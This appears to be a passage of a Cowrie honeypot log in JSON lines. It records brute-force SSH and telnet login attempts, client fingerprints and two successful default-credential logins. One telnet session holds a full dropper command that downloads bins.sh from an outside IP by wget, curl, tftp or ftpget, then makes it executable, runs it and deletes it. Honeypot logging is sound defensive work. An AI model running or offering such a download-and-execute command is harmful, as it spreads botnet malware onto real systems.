{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:25:03.460353Z","src_ip":"51.250.105.222","session":"0d09b0d1087d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:25:04.591327Z","src_ip":"51.250.105.222","session":"0d09b0d1087d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":49958,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae5be7d60ac1","protocol":"telnet","message":"New connection: 79.139.59.21:49958 (159.203.135.109:23) [session: ae5be7d60ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:25:15.097521Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":18368,"dst_ip":"10.17.0.5","dst_port":22,"session":"e98e1ff7274a","protocol":"ssh","message":"New connection: 38.93.206.2:18368 (10.17.0.5:22) [session: e98e1ff7274a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:25:18.467754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:25:18.473458Z","src_ip":"38.93.206.2","session":"e98e1ff7274a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:25:18.524392Z","src_ip":"38.93.206.2","session":"e98e1ff7274a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6574839201","message":"login attempt [root/6574839201] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:25:18.677722Z","src_ip":"38.93.206.2","session":"e98e1ff7274a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:25:19.731770Z","src_ip":"38.93.206.2","session":"e98e1ff7274a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.158.146","src_port":35924,"dst_ip":"159.203.135.109","dst_port":22,"session":"45f28352b19a","protocol":"ssh","message":"New connection: 116.110.158.146:35924 (159.203.135.109:22) [session: 45f28352b19a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:25:37.699755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:25:39.587842Z","src_ip":"116.110.158.146","session":"45f28352b19a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:25:39.596281Z","src_ip":"116.110.158.146","session":"45f28352b19a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.16760754585266,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:25:53.265028Z","src_ip":"79.139.59.21","session":"ae5be7d60ac1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.87.219.67","src_port":59862,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4af4f45a626","protocol":"ssh","message":"New connection: 20.87.219.67:59862 (159.203.135.109:22) [session: b4af4f45a626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:26:13.229487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:26:13.234173Z","src_ip":"20.87.219.67","session":"b4af4f45a626","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:26:13.463572Z","src_ip":"20.87.219.67","session":"b4af4f45a626","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roman","password":"1234","message":"login attempt [roman/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:26:14.412501Z","src_ip":"20.87.219.67","session":"b4af4f45a626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:26:15.645704Z","src_ip":"20.87.219.67","session":"b4af4f45a626","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin01","message":"login attempt [admin/admin01] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:26:19.450743Z","src_ip":"116.110.158.146","session":"45f28352b19a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":45038,"dst_ip":"10.17.0.5","dst_port":22,"session":"126e3ffcd85a","protocol":"ssh","message":"New connection: 193.37.70.224:45038 (10.17.0.5:22) [session: 126e3ffcd85a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:26:24.972001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:26:24.976823Z","src_ip":"193.37.70.224","session":"126e3ffcd85a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:26:25.077343Z","src_ip":"193.37.70.224","session":"126e3ffcd85a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vika2000","message":"login attempt [root/vika2000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:26:25.349260Z","src_ip":"193.37.70.224","session":"126e3ffcd85a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:26:26.441310Z","src_ip":"193.37.70.224","session":"126e3ffcd85a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":38834,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff9b935d5bb0","protocol":"telnet","message":"New connection: 180.235.129.180:38834 (10.17.0.5:23) [session: ff9b935d5bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:27:29.250828Z"}
{"eventid":"cowrie.session.closed","duration":12.879434823989868,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:27:42.130144Z","src_ip":"180.235.129.180","session":"ff9b935d5bb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"147.3","message":"Connection lost after 147.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:28:05.013031Z","src_ip":"116.110.158.146","session":"45f28352b19a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":41276,"dst_ip":"10.17.0.5","dst_port":23,"session":"263a667400a2","protocol":"telnet","message":"New connection: 180.235.129.180:41276 (10.17.0.5:23) [session: 263a667400a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:28:08.305868Z"}
{"eventid":"cowrie.session.closed","duration":14.053989171981812,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:28:22.359727Z","src_ip":"180.235.129.180","session":"263a667400a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.20","src_port":46290,"dst_ip":"159.203.135.109","dst_port":23,"session":"552c5569b705","protocol":"telnet","message":"New connection: 176.65.139.20:46290 (159.203.135.109:23) [session: 552c5569b705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:29:10.645914Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:29:11.810147Z","src_ip":"176.65.139.20","session":"552c5569b705","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:29:11.861197Z","src_ip":"176.65.139.20","session":"552c5569b705","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:29:12.005095Z","src_ip":"176.65.139.20","session":"552c5569b705","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cd /tmp  cd /var/run  cd /mnt  cd /root  cd /;wget http://185.14.92.122:7231/bins.sh  curl -O http://185.14.92.122:7231/bins.sh  busybox wget http://185.14.92.122:7231/bins.sh  busybox tftp 185.14.92.122 -c get bins.sh  busybox tftp -r bins.sh -g 185.14.92.122 -l bins.sh  busybox ftpget -v -u anonymous -p anonymous -P 21 185.14.92.122 bins.sh bins.sh  tftp 185.14.92.122 -c get bins.sh  tftp -r bins.sh -g 185.14.92.122 -l bins.sh  ftpget -v -u anonymous -p anonymous -P 21 185.14.92.122 bins.sh bins.sh;chmod 777 bins.sh;sh ./bins.sh;rm -rf bins.sh","message":"CMD: cd /tmp  cd /var/run  cd /mnt  cd /root  cd /;wget http://185.14.92.122:7231/bins.sh  curl -O http://185.14.92.122:7231/bins.sh  busybox wget http://185.14.92.122:7231/bins.sh  busybox tftp 185.14.92.122 -c get bins.sh  busybox tftp -r bins.sh -g 185.14.92.122 -l bins.sh  busybox ftpget -v -u anonymous -p anonymous -P 21 185.14.92.122 bins.sh bins.sh  tftp 185.14.92.122 -c get bins.sh  tftp -r bins.sh -g 185.14.92.122 -l bins.sh  ftpget -v -u anonymous -p anonymous -P 21 185.14.92.122 bins.sh bins.sh;chmod 777 bins.sh;sh ./bins.sh;rm -rf bins.sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:29:14.525562Z","src_ip":"176.65.139.20","session":"552c5569b705","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/2cb614e687c98b0e79d6b92e56dd7eac9747ffb61112f8e11499d83dabe0e69b","size":1103,"shasum":"2cb614e687c98b0e79d6b92e56dd7eac9747ffb61112f8e11499d83dabe0e69b","duplicate":false,"duration":"8.5","message":"Closing TTY Log: var/lib/cowrie/tty/2cb614e687c98b0e79d6b92e56dd7eac9747ffb61112f8e11499d83dabe0e69b after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:29:20.373040Z","src_ip":"176.65.139.20","session":"552c5569b705","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.740354537963867,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:29:20.386417Z","src_ip":"176.65.139.20","session":"552c5569b705","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.87.219.67","src_port":34734,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cbcff034992","protocol":"ssh","message":"New connection: 20.87.219.67:34734 (159.203.135.109:22) [session: 6cbcff034992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:29:21.795095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:29:21.800419Z","src_ip":"20.87.219.67","session":"6cbcff034992","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:29:22.026750Z","src_ip":"20.87.219.67","session":"6cbcff034992","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123","message":"login attempt [root/Asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:29:22.962620Z","src_ip":"20.87.219.67","session":"6cbcff034992","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:29:24.192449Z","src_ip":"20.87.219.67","session":"6cbcff034992","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.1.70","src_port":45680,"dst_ip":"159.203.135.109","dst_port":22,"session":"281521a83d7e","protocol":"ssh","message":"New connection: 27.79.1.70:45680 (159.203.135.109:22) [session: 281521a83d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:29:34.862224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:29:35.706882Z","src_ip":"27.79.1.70","session":"281521a83d7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-